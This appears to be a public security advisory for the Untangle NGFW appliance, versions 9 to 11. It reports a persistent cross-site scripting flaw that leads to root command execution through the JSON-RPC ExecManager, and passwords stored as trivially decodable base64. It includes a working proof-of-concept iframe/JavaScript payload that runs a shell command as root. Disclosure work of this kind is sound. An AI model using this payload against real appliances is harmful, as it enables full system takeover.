Untangle NGFW versions 9 through 11 suffer from a cross site scripting vulnerability that can allow for remote code execution as root.
a3cb12027a6ffc525cec30197ca2a8e07e4441321519f0aea96bf4b2ec12571aMultiple issues have been discovered in the Untangle NGFW virtual
appliance. The vendor was unresponsive and uncooperative to the researcher.
- Persistent XSS leading to root
Authentication requiredConfirmed in versions 9 and 11 (up to rev r39357)
Throughout
the Untangle user interface there are editable data tables for various
user configuration options. An example of this is in: Configuration >
Networking > Port Forwards. This table can be edited by clicking add
to create a new port forward rule, or directly edited by
double-clicking on the table rows themselves.
The
problem arises from malicious user input into some of the fields of
these editable tables, which is not properly sanitised and allows for
execution of user supplied Javascript code in the context of the users
browser. Because this configuration data is saved into the backend
database, this allows for Persistent XSS in each of the vulnerable
fields/tables.
This XSS attack is particularly
devastating due to the fact that the malicious attacker can run commands
as root on the virtual appliance, allowing for total system takeover.
This is because the Untangle JSON-RPC API has access to functionality
provided by the ExecManager class
(https://gitorious.org/untangle/src/source/381ad9cb2d1d475bb43814b07bbb0df2d1ae7b58:uvm/api/com/untangle/uvm/ExecManager.java),
which by default allows for arbitrary commands to be run as root on the
system.
A POC demonstrating the issue is below:
Insert
the following into the srcdoc attribute of a user-controlled iframe in
the Description field or another vulnerable field (can also be styled to
hide etc):
Test <iframe srcdoc='[insert code]'></iframe> (single quotes)
Insert:
<html><head> <script type="text/javascript" src="/ext4/ext-all-debug.js"></script> <script type="text/javascript" src="/jsonrpc/jsonrpc.js"></script> <script type="text/javascript" src="/script/i18n.js"></script> <script type="text/javascript" src="script/components.js"></script> <script type="text/javascript" src="script/main.js"></script></head><body onload="exec()"><script type="text/javascript"> function exec() { var rpc = {}; rpc.jsonrpc = new JSONRpcClient("/webui/JSON-RPC"); var serverUID = rpc.jsonrpc.UvmContext.getServerUID(); alert(serverUID); rpc.execManager = rpc.jsonrpc.UvmContext.execManager(); var cmd = "whoami > /tmp/who"; var exit = rpc.execManager.execResult(cmd); alert("Command: " + cmd + " - Exit code: " + exit); }</script></body></html>
- Information disclosure from Local Directory
Authentication requiredConfirmed in versions 9 and 11, not fixed.
The
Local Directory interface shows a list of users stored on the Untangle
system. Unfortunately, passwords are not sufficiently encrypted to
prevent information disclosure.
Each user in
the local directory interface has an attribute, 'passwordBase64Hash',
which is the base64 encoded string of the plaintext password. Because
base64 is a bi-directional encoding scheme, the passwordBase64Hash
attribute can be trivially decoded into the original plaintext string,
revealing the password for each user.
CH
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